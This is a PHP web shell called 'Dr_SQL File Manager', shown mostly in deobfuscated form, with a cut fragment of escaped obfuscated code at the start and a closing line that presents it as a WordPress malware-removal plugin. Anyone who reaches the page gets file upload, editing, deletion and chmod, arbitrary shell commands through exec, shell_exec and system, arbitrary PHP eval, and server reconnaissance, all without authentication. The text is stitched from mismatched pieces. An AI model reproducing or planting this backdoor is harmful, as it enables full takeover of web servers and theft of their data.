3c\57\150\x65\141\x64\x3e\12\74\142\157\x64\171\76\xa\74\144\x69\166\40\x63\x6c\141\163\x73\75\42\x68\145\x61\x64\x65\x72\x22\76\12\40\40\40\x20\74\x68\x32\x20\163\x74\171\154\x65\x3d\42\x63\x6f\154\x6f\162\72\x23\67\71\x61\63\x31\x37\73\x20\155\141\162\x67\x69\156\72\60\73\x22\x3e\xe2\x9c\217\xef\xb8\217\40\x45\144\x69\x74\x69\156\x67\72\40{$ZC04U}\x3c\57\150\x32\76\12\40\x20\40\x20\74\141\x20\150\162\x65\146\x3d\42{$xUG22}\x22\40\x73\x74\x79\154\145\75\42\x63\157\154\x6f\162\x3a\43\x37\71\x61\x33\61\67\73\42\76\342\x86\x90\x20\x42\141\143\153\40\x74\x6f\40\106\x69\x6c\145\x73\74\x2f\x61\76\12\74\57\144\x69\166\76\xa"; goto Pbcp3; X8fwR: ch2TH: goto kXdxU; Tpu0e: echo "\x3c\142\x72\x3e"; goto slaXi; YPWyQ: if (!(realpath($npEaf) &<?php
error_reporting(0);
if (!isset($_GET["d"])) {
goto sVXzi;
}
$aNYUQ = urldecode($_GET["d"]);
$aNYUQ = realpath($aNYUQ);
if (!($aNYUQ !== false && is_dir($aNYUQ))) {
goto DvlFM;
}
@chdir($aNYUQ);
DvlFM:
sVXzi:
$CrCGH = getcwd();
$VYsrf = basename("/var/www/html/input.php");
$yQFNJ = "#333333";
$WznnW = "#999999";
if (!($_GET["x"] === "view")) {
if (!($_GET["x"] === "php")) {
if (!($_GET["x"] === "edit")) {
if (!($_GET["x"] === "cmd")) {
if (!($_POST["action"] === "upload" && !empty($_FILES["file"]["name"]))) {
goto LBXeE;
}
$Dvbmt = basename($_FILES["file"]["name"]);
@move_uploaded_file($_FILES["file"]["tmp_name"], $Dvbmt);
LBXeE:
if (!($_POST["action"] === "mkdir" && !empty($_POST["name"]))) {
goto MTa6c;
}
@mkdir($_POST["name"]);
MTa6c:
if (!($_POST["action"] === "mkfile" && !empty($_POST["name"]))) {
goto H7LIy;
}
@file_put_contents($_POST["name"], '');
H7LIy:
if (!($_GET["action"] === "delete_file" && !empty($_GET["path"]))) {
goto gGaWL;
}
$npEaf = urldecode($_GET["path"]);
if (!(realpath($npEaf) && is_file($npEaf))) {
goto IqZh1;
}
@unlink($npEaf);
IqZh1:
gGaWL:
if (!($_GET["action"] === "delete_dir" && !empty($_GET["path"]))) {
goto Yiruc;
}
$npEaf = urldecode($_GET["path"]);
if (!(realpath($npEaf) && is_dir($npEaf))) {
goto GfMnK;
}
@rmdir($npEaf);
GfMnK:
Yiruc:
if (!($_POST["action"] === "rename" && !empty($_POST["old"]) && !empty($_POST["new"]))) {
goto bWBpC;
}
@rename($_POST["old"], $_POST["new"]);
bWBpC:
if (!($_POST["action"] === "chmod" && !empty($_POST["path"]) && !empty($_POST["mode"]))) {
goto wnEgu;
}
@chmod($_POST["path"], octdec($_POST["mode"]));
wnEgu:
function j68r1($npEaf)
{
$npEaf = str_replace("\\", "/", $npEaf);
$HmNqF = array_filter(explode("/", $npEaf));
$l9ACC = "<a href=\"?\">Root</a>";
$dq9hw = '';
foreach ($HmNqF as $XE2xR) {
$dq9hw .= "/" . $XE2xR;
$l9ACC .= " / <a href=\"?d=" . urlencode($dq9hw) . "\">" . htmlspecialchars($XE2xR) . "</a>";
}
return $l9ACC;
}
$sl4HH = j68R1($CrCGH);
$uM10d = urlencode($CrCGH);
print "<html>\n<head>\n <title>Dr_SQL</title>\n <style>\n body { background: {$yQFNJ}; color: {$WznnW}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }\n a { color: {$WznnW}; text-decoration: none; }\n a:hover { color: #79a317; }\n .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }\n .breadcrumb { margin: 10px 0; font-size: 10pt; }\n .breadcrumb a { color: #79a317; }\n .actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }\n .actions form { display: flex; gap: 5px; }\n .actions input { background: {$yQFNJ}; color: {$WznnW}; border: 1px solid {$WznnW}; border-radius: 5px; padding: 3px 6px; }\n .actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }\n table { width: 100%; border-collapse: collapse; margin-top: 10px; }\n th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }\n th { color: #79a317; font-weight: bold; }\n tr:hover { background: rgba(121,163,23,0.05); }\n .btn { background: rgba(0,0,0,0.3); color: {$WznnW}; border: 1px solid {$WznnW}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }\n .btn:hover { background: #79a317; color: black; }\n .hidden { display: none; }\n .popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }\n #menu {\n margin-top: 40px;\n text-align: center;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n color: #79a317;\n }\n #menuB a {\n color: #79a317;\n text-decoration: none;\n padding: 4px 8px;\n border-radius: 3px;\n transition: all 0.2s ease;\n display: inline-block;\n margin: 0 4px;\n }\n #menuB a:hover {\n background: rgba(121, 163, 23, 0.2);\n transform: translateY(-1px);\n }\n </style>\n <script>\n function togglePopup(id) {\n let el = document.getElementById(id);\n el.style.display = el.style.display === 'block' ? 'none' : 'block';\n }\n function closePopup(id) {\n document.getElementById(id).style.display = 'none';\n }\n </script>\n</head>\n<body>\n\n<div class=\"header\">\n <h2 style=\"color:#79a317; margin:0;\">đ Dr_SQL File Manager</h2>\n <a href=\"?x=info&d={$uM10d}\" style=\"color:#79a317;\">[Info]</a>\n</div>\n\n<div class=\"breadcrumb\">{$sl4HH}</div>\n\n<div class=\"actions\">\n <form method=\"POST\">\n <input type=\"hidden\" name=\"action\" value=\"mkdir\">\n <input type=\"text\" name=\"name\" placeholder=\"New Folder\" required>\n <button type=\"submit\">đ Create Dir</button>\n </form>\n <form method=\"POST\">\n <input type=\"hidden\" name=\"action\" value=\"mkfile\">\n <input type=\"text\" name=\"name\" placeholder=\"New File\" required>\n <button type=\"submit\">đ Create File</button>\n </form>\n <form method=\"POST\" action=\"?x=cmd&d={$uM10d}\">\n <input type=\"text\" name=\"cmd\" placeholder=\"Command\" required>\n <button type=\"submit\">đģ CMD</button>\n </form>\n <form method=\"POST\" enctype=\"multipart/form-data\">\n <input type=\"hidden\" name=\"action\" value=\"upload\">\n <input type=\"file\" name=\"file\" required>\n <button type=\"submit\">âŦī¸ Upload</button>\n </form>\n</div>\n";
$muYJG = [];
$Pw4YR = [];
if (!($Hjoi4 = @opendir("."))) {
goto l3vNN;
}
oDKt2:
if (!(($AEGCe = readdir($Hjoi4)) !== false)) {
closedir($Hjoi4);
natcasesort($muYJG);
natcasesort($Pw4YR);
$q2bj_ = array_merge($muYJG, $Pw4YR);
l3vNN:
$zwVmY = ["folder" => "#79a317", "image" => "#ff6f61", "video" => "#6eceda", "audio" => "#ffcc5c", "archive" => "#b0a7d9", "code" => "#8ed193", "doc" => "#ff9a8b", "binary" => "#aaaaaa", "default" => $WznnW];
function UC4yi($ZC04U, $WT0AV, $zwVmY)
{
if (!$WT0AV) {
$WTgvK = strtolower(pathinfo($ZC04U, PATHINFO_EXTENSION));
$lPQKl = ["jpg", "jpeg", "png", "gif", "bmp", "webp", "svg"];
$G4PPO = ["mp4", "mkv", "avi", "mov", "webm", "flv"];
$agkeX = ["mp3", "wav", "ogg", "flac", "aac"];
$zipTy = ["zip", "tar", "gz", "rar", "7z", "bz2"];
$cG9cp = ["php", "js", "html", "css", "py", "sh", "pl", "rb", "go", "java", "c", "cpp", "h", "sql", "xml", "json", "yml", "yaml", "md", "txt"];
$MhikF = ["pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "odt", "ods", "txt"];
if (!in_array($WTgvK, $lPQKl)) {
if (!in_array($WTgvK, $G4PPO)) {
if (!in_array($WTgvK, $agkeX)) {
if (!in_array($WTgvK, $zipTy)) {
if (!in_array($WTgvK, $cG9cp)) {
if (!in_array($WTgvK, $MhikF)) {
if (!(is_file($ZC04U) && filesize($ZC04U) > 0)) {
goto B2xI2;
}
$cfvVP = @file_get_contents($ZC04U, false, null, 0, 1000);
if (!($cfvVP !== false && !ctype_print(str_replace(["\r", "\n", "\t"], '', $cfvVP)))) {
B2xI2:
return $zwVmY["default"];
}
return $zwVmY["binary"];
}
return $zwVmY["doc"];
}
return $zwVmY["code"];
}
return $zwVmY["archive"];
}
return $zwVmY["audio"];
}
return $zwVmY["video"];
}
return $zwVmY["image"];
}
return $zwVmY["folder"];
}
echo "<table>";
echo "<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>";
echo "<tbody>";
foreach ($q2bj_ as $m8mCP) {
$L0JnN = $CrCGH . DIRECTORY_SEPARATOR . $m8mCP;
$WT0AV = is_dir($m8mCP);
$t0nkO = $WT0AV ? "-" : number_format(filesize($m8mCP));
$EvdQ7 = substr(sprintf("%o", fileperms($m8mCP)), 4);
$eB_VE = is_writable($m8mCP) ? "perm-writable" : (is_readable($m8mCP) ? "perm-readable" : "perm-locked");
$KhsWh = $UrxBW = "???";
if (!(function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))) {
goto fqLA_;
}
$Yv9NJ = @posix_getpwuid(@fileowner($m8mCP));
$y6hZO = @posix_getgrgid(@filegroup($m8mCP));
$KhsWh = $Yv9NJ ? $Yv9NJ["name"] : "???";
$UrxBW = $y6hZO ? $y6hZO["name"] : "???";
fqLA_:
if ($WT0AV) {
$vOVbH = "?d=" . urlencode($L0JnN);
$ZXYTz = '';
$A8MNo = '';
goto bCUUA;
}
$bgSgO = base64_encode($m8mCP);
$vOVbH = "?x=edit&f={$bgSgO}&d=" . urlencode($CrCGH) . "&b64=1";
$gG4E4 = "?x=view&f={$bgSgO}&d=" . urlencode($CrCGH) . "&b64=1";
$ZXYTz = "<a href=\"{$vOVbH}\" class=\"btn\">Edit</a>";
$A8MNo = " <a href=\"{$gG4E4}\" class=\"btn\">View</a>";
bCUUA:
$QL5az = htmlspecialchars($m8mCP) . ($WT0AV ? "/" : '');
$ydtXj = uc4yI($m8mCP, $WT0AV, $zwVmY);
echo "<tr>";
echo "<td><a href=\"{$vOVbH}\" style=\"color: {$ydtXj};\">{$QL5az}</a></td>";
echo "<td>{$t0nkO}</td>";
echo "<td><span class=\"{$eB_VE}\">{$EvdQ7}</span></td>";
echo "<td>{$KhsWh}:{$UrxBW}</td>";
echo "<td>";
if ($WT0AV) {
goto BwrTf;
}
echo $ZXYTz . $A8MNo;
BwrTf:
echo " <a href=\"javascript:togglePopup('rename_" . urlencode($m8mCP) . "')\" class=\"btn\">Rename</a>";
echo "<div id=\"rename_" . urlencode($m8mCP) . "\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
echo "<input type=\"hidden\" name=\"old\" value=\"" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\">";
echo "<input type=\"text\" name=\"new\" value=\"" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\" style=\"width:120px;\">";
echo " <button type=\"submit\">â</button>";
echo " <button type=\"button\" onclick=\"closePopup('rename_" . urlencode($m8mCP) . "')\">â</button>";
echo "</form></div>";
echo " <a href=\"javascript:togglePopup('chmod_" . urlencode($m8mCP) . "')\" class=\"btn\">Chmod</a>";
echo "<div id=\"chmod_" . urlencode($m8mCP) . "\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
echo "<input type=\"hidden\" name=\"path\" value=\"" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\">";
echo "<input type=\"text\" name=\"mode\" value=\"{$EvdQ7}\" placeholder=\"755\" style=\"width:60px;\">";
echo " <button type=\"submit\">â</button>";
echo " <button type=\"button\" onclick=\"closePopup('chmod_" . urlencode($m8mCP) . "')\">â</button>";
echo "</form></div>";
$njFT_ = $WT0AV ? "delete_dir" : "delete_file";
$kTk6x = urlencode($L0JnN);
echo " <a href=\"?action={$njFT_}&path={$kTk6x}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";
echo "</td></tr>";
}
echo "</tbody></table>";
if (!($_GET["x"] === "info")) {
goto tS1_t;
}
$C8s0o = ["PHP Version" => phpversion(), "Server Software" => $_SERVER["SERVER_SOFTWARE"] ?? "Unknown", "Uname" => php_uname(), "User" => get_current_user() . " (uid:" . getmyuid() . " gid:" . getmygid() . ")", "Safe Mode" => ini_get("safe_mode") ? "ON" : "OFF", "Open BaseDir" => ini_get("open_basedir") ?: "OFF", "MySQL" => function_exists("mysqli_connect") ? "ON" : "OFF", "Curl" => extension_loaded("curl") ? "ON" : "OFF", "Disk Total" => @disk_total_space("/") ? round(@disk_total_space("/") / 1024 ** 3, 2) . " GB" : "N/A", "Disk Free" => @disk_free_space("/") ? round(@disk_free_space("/") / 1024 ** 3, 2) . " GB" : "N/A", "Your IP" => $_SERVER["REMOTE_ADDR"] ?? "N/A", "Server IP" => $_SERVER["SERVER_ADDR"] ?? "N/A"];
echo "<h3>âšī¸ System Info</h3><table style=\"width:100%; background:#222; padding:10px;\">";
foreach ($C8s0o as $DQhsq => $VscXX) {
echo "<tr><td>{$DQhsq}</td><td>: {$VscXX}</td></tr>";
}
echo "</table><br><a href=\"?\" style=\"color:#79a317;\">â Back</a>";
tS1_t:
$xdFsO = htmlspecialchars($VYsrf);
$MCQuF = "?x=cmd&d=" . urlencode($CrCGH);
$hhgcZ = "?x=php&d=" . urlencode($CrCGH);
$pGVyT = "?x=info&d=" . urlencode($CrCGH);
echo "<p id=\"menu\">\n<span id=\"menuB\">\n<<a href=\"{$xdFsO}\">Home</a>>\n<<a href=\"{$MCQuF}\">Command</a>>\n<<a href=\"{$hhgcZ}\">PHP</a>>\n<<a href=\"{$pGVyT}\">Info</a>>\n</span>\n</p>\n<script>\ndocument.addEventListener('DOMContentLoaded', () => {\n const links = document.querySelectorAll('#menuB a');\n links.forEach(link => {\n if (window.location.href.includes(link.getAttribute('href'))) {\n link.style.color = '#ccff00';\n link.style.fontWeight = 'bold';\n }\n });\n});\n</script>";
print "</body></html>";
// [PHPDeobfuscator] Implied script end
return;
}
if (!($AEGCe === "." || $AEGCe === "..")) {
if (is_dir($AEGCe)) {
$muYJG[] = $AEGCe;
goto fVKGc;
}
$Pw4YR[] = $AEGCe;
fVKGc:
goto oDKt2;
}
goto oDKt2;
}
$CY6pb = '';
$HHTTg = '';
if (empty($_POST["cmd"])) {
goto PTbiD;
}
$HHTTg = $_POST["cmd"];
$ReWc_ = [];
if (function_exists("exec")) {
exec($_POST["cmd"], $ReWc_, $nNwBg);
$CY6pb = "";
goto bBPqV;
}
if (function_exists("shell_exec")) {
$CY6pb = @shell_exec($_POST["cmd"]);
goto bBPqV;
}
if (function_exists("system")) {
ob_start();
@system($_POST["cmd"]);
$CY6pb = ob_get_clean();
goto CorM7;
}
$CY6pb = "Error: No command execution functions available.";
CorM7:
bBPqV:
$HHTTg = htmlspecialchars($HHTTg, ENT_QUOTES, "UTF-8");
$CY6pb = htmlspecialchars($CY6pb, ENT_SUBSTITUTE, "UTF-8");
PTbiD:
$uM10d = urlencode($CrCGH);
$xUG22 = "?d={$uM10d}";
print "<html>\n<head>\n <title>Terminal</title>\n <style>\n body { background: #222; color: #0f0; font: 10pt 'Courier New', monospace; margin: 0; padding: 15px; }\n a { color: #79a317; text-decoration: none; }\n a:hover { text-decoration: underline; }\n .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }\n .terminal-box {\n background: #000; border: 1px solid #555; border-radius: 5px; padding: 12px;\n }\n pre { margin: 0; white-space: pre-wrap; color: #0f0; }\n input[type=\"text\"] {\n width: 100%; padding: 8px; background: #000; color: #0f0; border: 1px solid #555; border-radius: 4px;\n font-family: 'Courier New', monospace;\n }\n button {\n background: #444; color: #79a317; border: 1px solid #555; border-radius: 4px; padding: 8px 15px;\n margin-top: 10px; cursor: pointer;\n }\n #menu {\n margin-top: 40px;\n text-align: center;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n color: #79a317;\n }\n #menuB a {\n color: #79a317;\n text-decoration: none;\n padding: 4px 8px;\n border-radius: 3px;\n transition: all 0.2s ease;\n display: inline-block;\n margin: 0 4px;\n }\n #menuB a:hover {\n background: rgba(121, 163, 23, 0.2);\n transform: translateY(-1px);\n }\n </style>\n</head>\n<body>\n<div class=\"header\">\n <h2 style=\"color:#79a317; margin:0;\">đģ Terminal</h2>\n <a href=\"{$xUG22}\" style=\"color:#79a317;\">â Back to Files</a>\n</div>\n";
if (!($CY6pb !== '')) {
goto EGzK3;
}
echo "<div class=\"terminal-box\">";
echo "<strong style=\"color:#79a317;\">> " . $HHTTg . "</strong>";
echo "<pre>" . $CY6pb . "</pre>";
echo "</div>";
EGzK3:
echo "<form method=\"POST\" action=\"?x=cmd&d=" . $uM10d . "\">";
echo "<input type=\"text\" name=\"cmd\" placeholder=\"Enter command...\" value=\"" . ($HHTTg ? $HHTTg : '') . "\" autofocus>";
echo "<button type=\"submit\">Run</button>";
echo "</form>";
$xdFsO = htmlspecialchars($VYsrf);
$MCQuF = "?x=cmd&d=" . urlencode($CrCGH);
$hhgcZ = "?x=php&d=" . urlencode($CrCGH);
$pGVyT = "?x=info&d=" . urlencode($CrCGH);
echo "<p id=\"menu\">\n<span id=\"menuB\">\n<<a href=\"{$xdFsO}\">Home</a>>\n<<a href=\"{$MCQuF}\">Command</a>>\n<<a href=\"{$hhgcZ}\">PHP</a>>\n<<a href=\"{$pGVyT}\">Info</a>>\n</span>\n</p>\n<script>\ndocument.addEventListener('DOMContentLoaded', () => {\n const links = document.querySelectorAll('#menuB a');\n links.forEach(link => {\n if (window.location.href.includes(link.getAttribute('href'))) {\n link.style.color = '#ccff00';\n link.style.fontWeight = 'bold';\n }\n });\n});\n</script>";
print "</body></html>";
exit;
}
if (!isset($_GET["d"])) {
goto rySos;
}
$UVlkq = urldecode($_GET["d"]);
if (!(realpath($UVlkq) && is_dir($UVlkq))) {
goto YTuxz;
}
@chdir($UVlkq);
$CrCGH = getcwd();
YTuxz:
rySos:
if (!empty($_GET["b64"])) {
$ZC04U = base64_decode($_GET["f"]);
$ZC04U = str_replace("\0", '', $ZC04U);
goto HEHei;
}
$ZC04U = basename(urldecode($_GET["f"]));
HEHei:
$VyUv3 = $CrCGH . DIRECTORY_SEPARATOR . $ZC04U;
$vBmAf = false;
if (!($_POST["save"] === "1")) {
goto dnxq_;
}
if (!(@file_put_contents($VyUv3, $_POST["content"]) !== false)) {
goto opTzY;
}
$vBmAf = true;
opTzY:
dnxq_:
$rya2e = file_exists($VyUv3) ? htmlspecialchars(file_get_contents($VyUv3), ENT_QUOTES, "UTF-8") : '';
$xUG22 = "?d=" . urlencode($CrCGH);
$srD6T = htmlspecialchars($_SERVER["REQUEST_URI"]);
print "<html>\n<head>\n <title>Editing: {$ZC04U}</title>\n <style>\n body { background: #222; color: #0f0; font: 10pt 'Courier New', monospace; margin: 0; padding: 15px; }\n a { color: #79a317; text-decoration: none; }\n a:hover { text-decoration: underline; }\n .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }\n textarea {\n width: 100%; height: 75vh; background: #000; color: #0f0; padding: 12px; border: 1px solid #555;\n border-radius: 4px; font-family: 'Courier New', monospace;\n }\n .save-btn {\n background: #79a317; color: black; padding: 8px 20px; border: none; border-radius: 4px;\n font-weight: bold; cursor: pointer;\n }\n .success { color: #79a317; margin: 10px 0; font-weight: bold; }\n #menu {\n margin-top: 40px;\n text-align: center;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n color: #79a317;\n }\n #menuB a {\n color: #79a317;\n text-decoration: none;\n padding: 4px 8px;\n border-radius: 3px;\n transition: all 0.2s ease;\n display: inline-block;\n margin: 0 4px;\n }\n #menuB a:hover {\n background: rgba(121, 163, 23, 0.2);\n transform: translateY(-1px);\n }\n </style>\n</head>\n<body>\n<div class=\"header\">\n <h2 style=\"color:#79a317; margin:0;\">âī¸ Editing: {$ZC04U}</h2>\n <a href=\"{$xUG22}\" style=\"color:#79a317;\">â Back to Files</a>\n</div>\n";
if (!$vBmAf) {
goto VKV5M;
}
echo "<div class=\"success\">â
File saved successfully!</div>";
VKV5M:
echo "<form method=\"POST\" action=\"" . $srD6T . "\">";
echo "<textarea name=\"content\" autofocus>" . $rya2e . "</textarea>";
echo "<br>";
echo "<input type=\"hidden\" name=\"save\" value=\"1\">";
echo "<button type=\"submit\" class=\"save-btn\">đž Save</button>";
echo " <a href=\"" . $xUG22 . "\" style=\"margin-left:10px; color:#79a317;\">â Cancel</a>";
echo "</form>";
$xdFsO = htmlspecialchars($VYsrf);
$MCQuF = "?x=cmd&d=" . urlencode($CrCGH);
$hhgcZ = "?x=php&d=" . urlencode($CrCGH);
$pGVyT = "?x=info&d=" . urlencode($CrCGH);
echo "<p id=\"menu\">\n<span id=\"menuB\">\n<<a href=\"{$xdFsO}\">Home</a>>\n<<a href=\"{$MCQuF}\">Command</a>>\n<<a href=\"{$hhgcZ}\">PHP</a>>\n<<a href=\"{$pGVyT}\">Info</a>>\n</span>\n</p>\n<script>\ndocument.addEventListener('DOMContentLoaded', () => {\n const links = document.querySelectorAll('#menuB a');\n links.forEach(link => {\n if (window.location.href.includes(link.getAttribute('href'))) {\n link.style.color = '#ccff00';\n link.style.fontWeight = 'bold';\n }\n });\n});\n</script>";
print "</body></html>";
exit;
}
$UmiPm = '';
$ho70p = '';
if (empty($_POST["code"])) {
goto ysK_v;
}
$ho70p = $_POST["code"];
ob_start();
try {
eval($ho70p);
$UmiPm = ob_get_clean();
} catch (ParseError $tVB18) {
$UmiPm = "Parse error: " . $tVB18->getMessage();
ob_end_clean();
} catch (Throwable $tVB18) {
$UmiPm = "Error: " . $tVB18->getMessage();
ob_end_clean();
}
$ho70p = htmlspecialchars($ho70p, ENT_QUOTES, "UTF-8");
$UmiPm = htmlspecialchars($UmiPm, ENT_SUBSTITUTE, "UTF-8");
ysK_v:
$uM10d = urlencode($CrCGH);
$xUG22 = "?d={$uM10d}";
print "<html>\n<head>\n <title>PHP Evaluator</title>\n <style>\n body { background: #222; color: #ff0; font: 10pt 'Courier New', monospace; margin: 0; padding: 15px; }\n a { color: #79a317; text-decoration: none; }\n a:hover { text-decoration: underline; }\n .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }\n .output-box {\n background: #000; border: 1px solid #555; border-radius: 5px; padding: 12px;\n }\n textarea {\n width: 100%; height: 200px; background: #000; color: #ff0; padding: 10px;\n border: 1px solid #555; border-radius: 4px; font-family: 'Courier New', monospace;\n }\n pre { margin: 0; white-space: pre-wrap; color: #ff0; }\n button {\n background: #444; color: #79a317; border: 1px solid #555; border-radius: 4px;\n padding: 8px 15px; margin-top: 10px; cursor: pointer;\n }\n #menu {\n margin-top: 40px;\n text-align: center;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n color: #79a317;\n }\n #menuB a {\n color: #79a317;\n text-decoration: none;\n padding: 4px 8px;\n border-radius: 3px;\n transition: all 0.2s ease;\n display: inline-block;\n margin: 0 4px;\n }\n #menuB a:hover {\n background: rgba(121, 163, 23, 0.2);\n transform: translateY(-1px);\n }\n </style>\n</head>\n<body>\n<div class=\"header\">\n <h2 style=\"color:#79a317; margin:0;\">đ§Ž PHP Evaluator</h2>\n <a href=\"{$xUG22}\" style=\"color:#79a317;\">â Back to Files</a>\n</div>\n";
if (!($UmiPm !== '')) {
goto z32hS;
}
echo "<div class=\"output-box\">";
echo "<strong style=\"color:#79a317;\">Output:</strong>";
echo "<pre>" . $UmiPm . "</pre>";
echo "</div>";
z32hS:
echo "<form method=\"POST\" action=\"?x=php&d=" . $uM10d . "\">";
echo "<textarea name=\"code\" placeholder=\"Enter PHP code (without <?php)\" autofocus>" . ($ho70p ? $ho70p : '') . "</textarea>";
echo "<br><button type=\"submit\">âļ Run PHP</button>";
echo "</form>";
$xdFsO = htmlspecialchars($VYsrf);
$MCQuF = "?x=cmd&d=" . urlencode($CrCGH);
$hhgcZ = "?x=php&d=" . urlencode($CrCGH);
$pGVyT = "?x=info&d=" . urlencode($CrCGH);
echo "<p id=\"menu\">\n<span id=\"menuB\">\n<<a href=\"{$xdFsO}\">Home</a>>\n<<a href=\"{$MCQuF}\">Command</a>>\n<<a href=\"{$hhgcZ}\">PHP</a>>\n<<a href=\"{$pGVyT}\">Info</a>>\n</span>\n</p>\n<script>\ndocument.addEventListener('DOMContentLoaded', () => {\n const links = document.querySelectorAll('#menuB a');\n links.forEach(link => {\n if (window.location.href.includes(link.getAttribute('href'))) {\n link.style.color = '#ccff00';\n link.style.fontWeight = 'bold';\n }\n });\n});\n</script>";
print "</body></html>";
exit;
}
if (!isset($_GET["d"])) {
goto MXJEi;
}
$UVlkq = urldecode($_GET["d"]);
if (!(realpath($UVlkq) && is_dir($UVlkq))) {
goto ou6O9;
}
@chdir($UVlkq);
$CrCGH = getcwd();
ou6O9:
MXJEi:
$ZC04U = base64_decode($_GET["f"] ?? '');
$ZC04U = str_replace("\0", '', $ZC04U);
$VyUv3 = $CrCGH . DIRECTORY_SEPARATOR . $ZC04U;
if (file_exists($VyUv3)) {
$rya2e = file_get_contents($VyUv3);
$B26Vm = !ctype_print(str_replace(["\r", "\n", "\t"], '', substr($rya2e, 0, 1000)));
if (!$B26Vm) {
goto fxZFe;
}
$rya2e = "Binary file (first 1KB hex):\n" . substr(bin2hex($rya2e), 0, 2000);
fxZFe:
$bPow5 = htmlspecialchars($rya2e, ENT_SUBSTITUTE, "UTF-8");
goto twzi2;
}
$bPow5 = "File not found.";
twzi2:
$xUG22 = "?d=" . urlencode($CrCGH);
$dddMi = urlencode($CrCGH);
print "<html>\n<head>\n <title>Viewing: {$ZC04U}</title>\n <style>\n body { background: #222; color: #0f0; font: 10pt 'Courier New', monospace; margin: 0; padding: 15px; }\n a { color: #79a317; text-decoration: none; }\n a:hover { text-decoration: underline; }\n pre { background: #000; padding: 12px; border-radius: 5px; overflow: auto; }\n #menu {\n margin-top: 40px;\n text-align: center;\n font-family: 'Courier New', monospace;\n font-size: 14px;\n color: #79a317;\n }\n #menuB a {\n color: #79a317;\n text-decoration: none;\n padding: 4px 8px;\n border-radius: 3px;\n transition: all 0.2s ease;\n display: inline-block;\n margin: 0 4px;\n }\n #menuB a:hover {\n background: rgba(121, 163, 23, 0.2);\n transform: translateY(-1px);\n }\n </style>\n</head>\n<body>\n<h3 style=\"color:#79a317;\">đī¸ Viewing: {$ZC04U}</h3>\n<pre>{$bPow5}</pre>\n<br><a href=\"{$xUG22}\" style=\"color:#79a317;\">â Back to Files</a>\n\n<p id=\"menu\">\n<span id=\"menuB\">\n<<a href=\"{$VYsrf}\">Home</a>>\n<<a href=\"?x=cmd&d={$dddMi}\">Command</a>>\n<<a href=\"?x=php&d={$dddMi}\">PHP</a>>\n<<a href=\"?x=info&d={$dddMi}\">Info</a>>\n</span>\n</p>\n<script>\ndocument.addEventListener('DOMContentLoaded', () => {\n const links = document.querySelectorAll('#menuB a');\n links.forEach(link => {\n if (window.location.href.includes(link.getAttribute('href'))) {\n link.style.color = '#ccff00';\n link.style.fontWeight = 'bold';\n }\n });\n});\n</script>\n</body>\n</html>";
exit;Malware detection & removal plugin for WordPress
īŧCīŧ2020 Wordpress Doctor All rights reserved.